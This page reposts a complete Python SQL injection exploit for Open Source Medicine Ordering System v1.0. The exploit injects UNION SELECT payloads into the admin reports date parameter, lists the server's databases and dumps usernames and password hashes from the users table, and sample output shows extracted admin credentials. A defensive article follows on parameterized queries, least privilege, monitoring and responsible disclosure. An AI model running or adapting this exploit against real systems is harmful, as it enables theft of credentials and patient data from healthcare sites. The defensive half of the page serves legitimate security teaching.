Open Source Medicine Ordering System v1.0 - SQLi

Exploit Author: Onur Karasalihoğlu Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2024-04-08
# Exploit Title : Open Source Medicine Ordering System v1.0 - SQLi
# Author : Onur Karasalihoğlu
# Date : 27/02/2024
# Sample Usage

% python3 omos_sqli_exploit.py https://target.com
Available Databases:
1. information_schema
2. omosdb
Please select a database to use (enter number): 2
You selected: omosdb
Extracted Admin Users Data:
1 | Adminstrator | Admin |  | 0192023a7bbd73250516f069df18b500 | admin
2 | John | Smith | D | 1254737c076cf867dc53d60a0364f38e | jsmith
'''

import requests
import re
import sys

def fetch_database_names(domain):
    url = f"{domain}/admin/?page=reports&date=2024-02-22'%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,CONCAT('enforsec',JSON_ARRAYAGG(CONCAT_WS(',',schema_name)),'enforsec')%20FROM%20INFORMATION_SCHEMA.SCHEMATA--%20-"
    
    try:
        # HTTP request
        response = requests.get(url)
        response.raise_for_status()  # exception for 4xx and 5xx requests
        
        # data extraction
        pattern = re.compile(r'enforsec\["(.*?)"\]enforsec')
        extracted_data = pattern.search(response.text)
        if extracted_data:
            databases = extracted_data.group(1).split(',')
            databases = [db.replace('"', '') for db in databases]
            print("Available Databases:")
            for i, db in enumerate(databases, start=1):
                print(f"{i}. {db}")
            
            # users should select omos database
            choice = int(input("Please select a database to use (enter number): "))
            if 0 < choice <= len(databases):
                selected_db = databases[choice - 1]
                print(f"You selected: {selected_db}")
                fetch_data(domain, selected_db)
            else:
                print("Invalid selection.")
        else:
            print("No data extracted.")
    except requests.RequestException as e:
        print(f"HTTP Request failed: {e}")

def fetch_data(domain, database_name):
    url = f"{domain}/admin/?page=reports&date=2024-02-22'%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,CONCAT('enforsec',JSON_ARRAYAGG(CONCAT_WS(',',`type`,firstname,lastname,middlename,password,username)),'enforsec') FROM {database_name}.users-- -"
    
    try:
        # HTTP request
        response = requests.get(url)
        response.raise_for_status()  # exception for 4xx and 5xx requests
        
        # data extraction
        pattern = re.compile(r'enforsec\[(.*?)\]enforsec')
        extracted_data = pattern.search(response.text)
        if extracted_data:
            print("Extracted Admin Users Data:")
            data = extracted_data.group(1)
            rows = data.split('","')
            for row in rows:
                clean_row = row.replace('"', '')
                user_details = clean_row.split(',')
                print(" | ".join(user_details))
        else:
            print("No data extracted.")
    except requests.RequestException as e:
        print(f"HTTP Request failed: {e}")

def main():
    if len(sys.argv) != 2:
        print("Usage: python3 omos_sqli_exploit.py <domain>")
        sys.exit(1)

    fetch_database_names(sys.argv[1])

if __name__ == "__main__":
    main()


Open Source Medicine Ordering System v1.0 — SQL Injection: Analysis, Risks, and Defenses

This article examines the SQL injection class of vulnerabilities in web applications such as an Open Source Medicine Ordering System (OMOS). It focuses on how SQL injection arises, why it is dangerous in healthcare and e‑commerce contexts, and — most importantly — defensive measures you can apply: secure coding patterns, database hardening, detection, testing, and incident response. Examples use safe, defensive code only.

Why SQL Injection Matters for Medicine Ordering Systems

  • Medicine ordering platforms process sensitive patient, prescription and administrative data; a successful SQL injection can expose or modify protected health information (PHI), user credentials, or inventory and billing records.
  • Attackers can escalate from data exposure to account takeover, supply chain disruption, or fraudulent orders — all with high operational and legal impact.
  • Healthcare systems are often targeted because they combine valuable data with frequently outdated software and complex integrations.

How SQL Injection Typically Occurs (High-Level)

  • Unsafe construction of SQL statements by concatenating untrusted input (form fields, query parameters, cookies) into SQL text.
  • Lack of parameterized queries (prepared statements) or an ORM that automatically parameterizes inputs.
  • Insufficient input validation and overly permissive database accounts.

Secure Coding: Use Parameterized Queries (Prepared Statements)

Never build SQL queries by concatenating input values. Use parameterized queries provided by your database driver or an ORM. Below is a defensive example in Python (Flask) using mysql.connector to safely query a users table by username. This code shows the appropriate use of parameters to avoid SQL injection.

from flask import Flask, request, jsonify
import mysql.connector
from mysql.connector import pooling

app = Flask(__name__)

# Example connection pool (configure with environment variables in production)
cnxpool = mysql.connector.pooling.MySQLConnectionPool(
    pool_name="mypool",
    pool_size=5,
    host="db-host",
    user="readonly_user",
    password="secure_password",
    database="omosdb"
)

@app.route("/api/user", methods=["GET"])
def get_user():
    username = request.args.get("username", "")
    # Validate input size and characters as an extra layer
    if not username or len(username) > 100:
        return jsonify({"error": "invalid input"}), 400

    cnx = cnxpool.get_connection()
    try:
        cursor = cnx.cursor(dictionary=True)
        # Parameterized query prevents SQL injection
        query = "SELECT id, firstname, lastname, role FROM users WHERE username = %s"
        cursor.execute(query, (username,))
        row = cursor.fetchone()
        if not row:
            return jsonify({"error": "not found"}), 404
        return jsonify(row)
    finally:
        cursor.close()
        cnx.close()

Explanation: This Flask route safely retrieves a user by username. The SQL statement uses a placeholder (%s) and the driver binds the parameter. The input is also validated for length to reduce risk from extremely large input values. The database connection uses a read‑only user (see database hardening below).

Use an ORM or Query Builder Where Practical

ORMs and query builders (e.g., SQLAlchemy for Python) abstract SQL construction and default to parameterized statements. They reduce the likelihood of accidental string concatenation and make maintenance easier.

from sqlalchemy import create_engine, text
engine = create_engine("mysql+pymysql://readonly_user:pw@db-host/omosdb")

def get_user_sqlalchemy(username):
    if not username or len(username) > 100:
        raise ValueError("invalid input")
    with engine.connect() as conn:
        # SQLAlchemy text() still allows safe parameter binding
        result = conn.execute(text("SELECT id, firstname, lastname FROM users WHERE username = :u"), {"u": username})
        return result.first()

Explanation: This snippet uses SQLAlchemy's text construct with named parameters. The driver handles proper escaping and binding. Use of an ORM also centralizes data access patterns that can be audited.

Database Hardening and Least Privilege

  • Create dedicated database accounts per application role: read_only, app_write, admin. Avoid using a full‑privilege account for web application queries.
  • Grant only necessary privileges to each account (SELECT, INSERT, UPDATE limited to required tables and procedures).
  • Disable multiple statements or stacked queries if the driver or DB supports that option to reduce attack surface.
  • Use network segmentation and restrict database access to application servers only; avoid exposing the DB to the public internet.

Input Validation, Encoding, and Output Handling

  • Apply server‑side validation: enforce length, type, format, and whitelist patterns where possible.
  • Treat validation as pragmatic defense-in-depth; parameterized queries remain the primary prevention.
  • For any output included within HTML/JS, use proper encoding to avoid cross-site scripting (XSS) as well.

Detection, Monitoring, and Testing

  • Instrument database logs and application logs to detect anomalous query patterns, frequent errors, or unusual runtime errors that could indicate injection attempts.
  • Use Web Application Firewalls (WAFs) as a compensating control — they can block common injection patterns and provide alerts, but should not be your only defense.
  • Integrate SAST (static analysis) and DAST (dynamic analysis) into CI/CD pipelines to catch insecure SQL usage early. Prefer tools and rules that flag string‑concatenated SQL, unsafe query builders, or missing parameterization.
  • Maintain a regular penetration testing cadence with clear rules of engagement and written permission; focus on remediation rather than exploitation.

Example Audit Checklist (Practical Tests to Run Internally)

AreaCheck
CodeIdentify SQL statements built with concatenation; confirm parameterized alternatives exist
DB AccountsVerify least privilege for application accounts and separate admin credentials
LoggingEnsure query and error logs are retained, monitored, and access‑restricted
CI/CDRun SAST/DAST and require fixes before merge
RuntimeWAF rules in place, alerts configured for SQL error signatures and anomalous traffic

Incident Response and Responsible Disclosure

  • If you discover a vulnerability in a live system, stop short of exploiting it. Collect safe, minimal evidence (logs, request metadata) and follow the project or vendor’s responsible disclosure policy.
  • Notify maintainers privately and provide reproducible steps to demonstrate the issue safely (for example, safe test inputs that trigger an error without extracting sensitive data).
  • Work with the vendor to coordinate a patch and public disclosure timeline if you are a security researcher.

Summary: Defense-in-Depth for OMOS and Similar Systems

Protecting medicine ordering systems from SQL injection requires layered controls: use parameterized queries and ORMs; validate input; apply least privilege at the database level; monitor and test continuously; and follow clear disclosure and incident response processes. These measures reduce risk and help ensure patient safety, privacy, and service continuity.

Quick Reference: Do / Don't

  • Do use prepared statements and parameter binding for all database access.
  • Do validate and constrain inputs server‑side.
  • Do give applications the minimum database privileges needed.
  • Don't build SQL by concatenating user input into query strings.
  • Don't expose detailed database errors to end users or logs accessible to unauthorized parties.